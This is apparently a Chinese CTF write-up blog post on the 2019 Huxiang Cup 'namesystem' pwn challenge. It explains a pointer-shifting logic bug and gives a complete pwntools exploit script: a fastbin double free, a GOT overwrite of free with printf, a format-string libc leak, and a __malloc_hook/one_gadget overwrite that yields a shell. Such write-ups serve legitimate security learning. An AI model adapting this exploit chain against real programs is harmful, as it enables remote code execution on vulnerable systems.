队内组建了pwn小组,不定时更新题目
湖湘杯_2019_namesystem
这是一道湖湘杯的题目,比较简单,但是由于我水平比较菜,还是花了一段时间来复现
准备
64位程序,pie没开
ida反编译
是一个经典菜单题,但是show函数不能用
add函数
限制了申请的chunk的大小在16-96之间,为fast_bin范围
drop函数
将指针free然后清空,无uaf,但存在逻辑漏洞
当free id为0的chunk时, free后,id为18的chunk就和id为19的chunk是同一个chunk了
当free id为18的chunk时,free后,id为18的chunk就和id为19的chunk是同一个chunk了
申请20个chunk
delete 18
可以看到当我们删除18时,19的chunk地址没变,而且18变成和19一样的chunk。
delete(0)
可以发现,只要我们 不删除19,并且19不为空,当我们删除19前面的chunk时,chunk地址都会前移,并且18也会变成和19一样的地址
解题思路
构造double链,将free_got改为printf,然后利用格式化字符串泄露libc基址,再构造double链打malloc_hook,将____malloc_hook改为onegadget,然后getshell,注意此处需要通过 realloc_hook 调整栈帧使 onegadget 生效
exp
#coding:utf8
from pwn import *
context.log_level="debug"
p = process('./namesystem')
elf = ELF('./namesystem')
libc = ELF('libc-2.23.so')
printf_plt = elf.plt['printf']
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Name Size:',str(size))
p.sendlineafter('Name:',content)
def delete(index):
p.sendlineafter('Your choice :','3')
p.sendlineafter('The id you want to delete:',str(index))
#info ptr[20] : 0x6020A0
for i in range(17):
add(0x10,'a'*0x10)
#gdb.attach(p)
add(0x50,'b'*0x30)#17
add(0x20,'a'*0x20)#18 #temp
add(0x50,'c'*0x30)#19
#gdb.attach(p)
#got表上伪造一个chunk
fake_chunk_addr = 0x0601FFA
delete(18)#19位置的指针移到18后没有清零
#gdb.attach(p)
delete(19) #19
delete(17) #17
delete(17) #19
#gdb.attach(p)
add(0x50,p64(fake_chunk_addr)) #17
#gdb.attach(p)
for i in range(17):#ptr结构体数组有限制需要将他们delete进fastbin中
delete(0)
#gdb.attach(p)
add(0x50,'b'*0x30) #18
add(0x50,'b'*0x30) #18
#gdb.attach(p)
for i in range(17-3):
add(0x10,"a"*0x10)
add(0x60,"a"*0x68)# 17
add(0x20,"a"*0x68)# 18
add(0x60,"a"*0x68)# 19
delete(18)#19位置的指针移到18后没有清零
delete(19) #19
delete(17) #17
delete(17) #19
for i in range(17):
delete(3)
#gdb.attach(p)
add(0x50,"a"*0xe+p64(printf_plt)[0:6]) #19
#print('print:',str(printf_plt)[0:6])
#gdb.attach(p)
add(0x28,"%13$p")#4
delete(4)#printf("%13$p")
libc_base = int(p.recvuntil('Done!',drop = True),16) - 240 - libc.sym['__libc_start_main']
print "libc_base : "+hex(libc_base)
malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
one_gadget_addr = libc_base + 0x4527a#local
#remote_one=[0x45216,0x4526a,0xf02a4,0xf1147]
#one_gadget_addr = libc_base + remote_one[1]
realloc_addr = libc_base + libc.sym['realloc']
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#gdb.attach(p)
add(0x60,p64(malloc_hook_addr - 0x23)) #4
add(0x60,'b'*0x60) #5
#gdb.attach(p)
add(0x60,'c'*0x60) #6
#gdb.attach(p)
#写malloc_hook
add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x10))
gdb.attach(p)
#add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x10))
#getshell
p.sendlineafter('Your choice :','1')
p.sendlineafter('Name Size:','18')
p.interactive()
exp详解
在这里解释一下exp的以及payload的构造,顺便复习一下
简单的chunk申请,这里没有什么要说的,只需要注意后三个chunk的大小就可以,17与19一致即可
关于这个fake_chunk,因为我们要修改free的got表,所以fake_chunk在free_got附近
存在可用size,所以用这个地址
ps:
这个地址也可以
利用 realloc_hook 调整栈帧的payload,其中’a’*11为固定值,后面的12/0x10可变,可以自己尝试
'a'*11 + p64(onegadget) + p64(realloc+12) + '\n'
'a'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x10)
- 記事へのリンク:https://torebtr.github.io/2021/10/31/%E9%98%9F%E5%86%85%E7%BB%83%E4%B9%A0/
- 著作権表示:このブログ内のすべての記事は、特別な記載がない限り の下のライセンスで保護されています。
GitHub IssuesGitHub Discussions